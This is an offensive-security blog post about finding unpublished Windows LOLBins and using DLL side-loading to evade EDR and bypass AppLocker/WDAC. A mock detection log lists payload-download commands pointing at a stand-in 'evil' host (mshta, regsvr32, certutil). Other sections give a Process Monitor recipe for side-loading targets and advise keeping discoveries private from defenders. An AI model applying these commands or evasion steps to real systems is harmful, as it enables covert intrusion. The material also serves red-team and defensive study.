Bailey Bradshaw | Offensive Security Engineer

The LOLBAS project lists over 200 signed Microsoft binaries that can execute arbitrary code, download files, or bypass application whitelisting. Every AV vendor on the planet has signatures for them. If you run mshta.exe or regsvr32.exe in 2026, you are going to get caught. The interesting LOLBins are the ones you find yourself.

Why the Public List is Burned

The LOLBAS project is a public GitHub repo. Every entry gets added to detection rules within weeks. Defender, CrowdStrike, SentinelOne, and Carbon Black all monitor for known LOLBin usage patterns. The detection is not just on process name either. They flag the specific command-line arguments, parent-child process relationships, and file writes associated with each technique.

detection-coverage.log

DETECTED mshta.exe http://evil/payload.hta

DETECTED regsvr32 /s /n /u /i:http://evil/file.sct scrobj.dll

DETECTED certutil -urlcache -split -f http://evil/payload.exe

DETECTED msbuild.exe inline_task.xml

DETECTED wmic process call create "payload.exe"

FLAGGED rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"

CLEAN ???.exe (your discovery)

Notice the pattern. Everything on the public list is red. The only green line is the binary nobody has reported yet.

What Makes a Good LOLBin

Not every signed binary is useful. You need specific capabilities to turn a legitimate tool into an execution primitive. Here is what to look for.

Arbitrary Code Execution

The binary loads a DLL, executes a script, or processes an XML/config file that allows inline code. This is the gold standard. If a signed binary will execute your code directly, AppLocker and WDAC policies that trust Microsoft signatures become meaningless.

Arbitrary File Download

The binary can fetch a file from a URL and write it to disk. Useful when you need to stage payloads but curl, wget, and certutil are all monitored. Bonus points if it does not mark the file with a Zone Identifier (Mark of the Web).

DLL Side-Loading

The binary loads a DLL from its working directory without verifying the signature. Drop your malicious DLL next to the binary, run it, and the signed process loads your code. The process tree looks clean because the parent is a trusted, signed executable.

Application Whitelisting Bypass

The binary is in a trusted path (System32, Program Files) and is signed by Microsoft. If AppLocker or WDAC is configured to trust Microsoft signatures or default paths, this binary gets a free pass even when it executes your payload.

How to Find Your Own

Stop relying on the public list. Here is how you discover new LOLBins that nobody has signatured yet.

Method	What You Do	What You Find
DLL Import Scanning	Scan PE imports for LoadLibrary, CreateProcess, ShellExecute, WinExec	Binaries that load arbitrary DLLs or spawn processes
Config File Fuzzing	Find binaries that read XML, INI, or manifest files, then inject code into those configs	Execution through trusted config parsers
COM Object Abuse	Enumerate registered COM objects and test which ones instantiate with scriptable interfaces	Script execution through COM automation
Missing DLL Hunting	Use Process Monitor to find DLLs that fail to load from the binary's directory	DLL side-loading opportunities with zero detection

The Missing DLL Technique in Practice

This is the most reliable method and the easiest to execute. Most signed binaries try to load optional DLLs at startup. When the DLL is not in the expected location, the load fails silently and the binary continues. But if you place a DLL with the right name in the right directory, the binary loads it without checking the signature.

procmon-filter.txt

PROCESS MONITOR FILTER SETUP

Operation is CreateFile

Result is NAME NOT FOUND

Path ends with .dll

RESULTS

legit_tool.exe NAME NOT FOUND C:\Program Files\Tool\version.dll

legit_tool.exe NAME NOT FOUND C:\Program Files\Tool\cryptsp.dll

legit_tool.exe NAME NOT FOUND C:\Program Files\Tool\wtsapi32.dll

Drop your DLL as version.dll

Run legit_tool.exe

Signed process loads your code

The beauty of this approach is the process tree. Your code runs inside a signed, trusted process. The parent is explorer.exe or whatever launched the legitimate tool. There is no cmd.exe or powershell.exe in the chain. The EDR sees a trusted application loading what appears to be one of its own dependencies.

AppLocker vs WDAC: Know the Difference

Your LOLBin discovery matters most when application whitelisting is enforced. But the type of policy determines what works and what does not.

APPLOCKER

User-mode enforcement only

Default rules trust C:\Windows\*

Bypassable with any signed binary in a trusted path

DLL rules are optional and rarely enabled

Most LOLBins work against AppLocker

WDAC

Kernel-mode enforcement

Can restrict by specific file hash or publisher

Blocks DLL loading if not in policy

Managed Code policies block .NET assemblies

Significantly harder, but not impossible

Against AppLocker, DLL side-loading almost always works because DLL rules are rarely enforced. Against WDAC, you need binaries that are already trusted by the policy or you need to find a way to load managed code through a trusted assembly.

The Lifecycle of a LOLBin

Every LOLBin follows the same lifecycle. Understanding this helps you think about where to focus your effort.

lolbin-lifecycle.txt

DISCOVERY TO DETECTION TIMELINE

Day 0 Researcher finds execution primitive in signed binary

Day 1 Tested, validated, used on engagement

Week 1 Shared privately with team, stays clean

Week 4 Published to LOLBAS / tweeted / blogged about

Week 6 AV vendors add heuristic signatures

Week 8 Defender flags it on default settings

Month 6 Every major EDR detects it

Year 1 Microsoft removes the binary or patches the behaviour

The window between discovery and detection is shrinking every year. In 2020 you could use a public LOLBin for months before it got flagged. In 2026, a tweet with a new technique gets signatured within days. If you want LOLBins that work, you have to find your own and keep them private. The moment you share it publicly, the clock starts.

The Takeaway

Stop using certutil to download files. Stop using mshta for execution. Every binary on the public LOLBAS list has a detection rule with your name on it. The operators who consistently get past modern defences are the ones who invest time into finding their own execution primitives.

Spin up Process Monitor. Filter for missing DLLs. Scan PE imports for dangerous functions. Test signed binaries from enterprise software installers. The next LOLBin that gets you past AppLocker on a hardened engagement is sitting in C:\Program Files right now, waiting to be found. You just have to be the one who looks.

EvasionLOLBASTradecraft

Detection capabilities evolve constantly. Techniques described here reflect the state of public tooling at time of writing. Always validate against your target environment.